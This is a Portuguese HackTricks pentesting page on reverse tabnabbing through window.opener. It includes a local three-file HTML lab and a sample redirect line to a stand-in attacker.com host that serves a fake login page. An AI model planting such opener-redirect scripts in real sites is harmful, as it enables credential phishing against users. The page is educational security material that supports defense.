Reverse Tab Nabbing

Support HackTricks

Descrição

Em uma situação onde um atacante pode controlar o argumento href de uma tag <a com o atributo target="_blank" rel="opener" que será clicada por uma vítima, o atacante aponta este link para uma web sob seu controle (um site malicioso). Então, uma vez que a vítima clica no link e acessa o site do atacante, este site malicioso poderá controlar a página original via o objeto javascript window.opener. Se a página não tiver rel="opener" mas contiver target="_blank" e também não tiver rel="noopener" ela pode também ser vulnerável.

Uma maneira comum de abusar desse comportamento seria mudar a localização da web original via window.opener.location = https://attacker.com/victim.html para uma web controlada pelo atacante que parece com a original, para que possa imitar o formulário de login do site original e pedir credenciais ao usuário.

No entanto, note que como o atacante agora pode controlar o objeto window do site original ele pode abusar disso de outras maneiras para realizar ataques mais furtivos (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)

Visão Geral

Link entre páginas pai e filho quando o atributo de prevenção não é usado:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Link entre páginas pai e filho quando o atributo de prevenção é usado:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Exemplos

Crie as seguintes páginas em uma pasta e execute um servidor web com python3 -m http.server Então, acesse http://127.0.0.1:8000/vulnerable.html, clique no link e note como a URL do site original muda.

vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

Propriedades acessíveis

No cenário em que ocorre um acesso cross-origin (acesso entre diferentes domínios), as propriedades da instância da classe JavaScript window, referida pela referência do objeto JavaScript opener, que podem ser acessadas por um site malicioso são limitadas ao seguinte:

  • opener.closed: Esta propriedade é acessada para determinar se uma janela foi fechada, retornando um valor booleano.

  • opener.frames: Esta propriedade fornece acesso a todos os elementos iframe dentro da janela atual.

  • opener.length: O número de elementos iframe presentes na janela atual é retornado por esta propriedade.

  • opener.opener: Uma referência à janela que abriu a janela atual pode ser obtida através desta propriedade.

  • opener.parent: Esta propriedade retorna a janela pai da janela atual.

  • opener.self: O acesso à própria janela atual é fornecido por esta propriedade.

  • opener.top: Esta propriedade retorna a janela do navegador mais alta.

No entanto, em instâncias onde os domínios são idênticos, o site malicioso ganha acesso a todas as propriedades expostas pela referência do objeto JavaScript window.

Prevenção

As informações de prevenção estão documentadas no HTML5 Cheat Sheet.

Referências

Support HackTricks

Last updated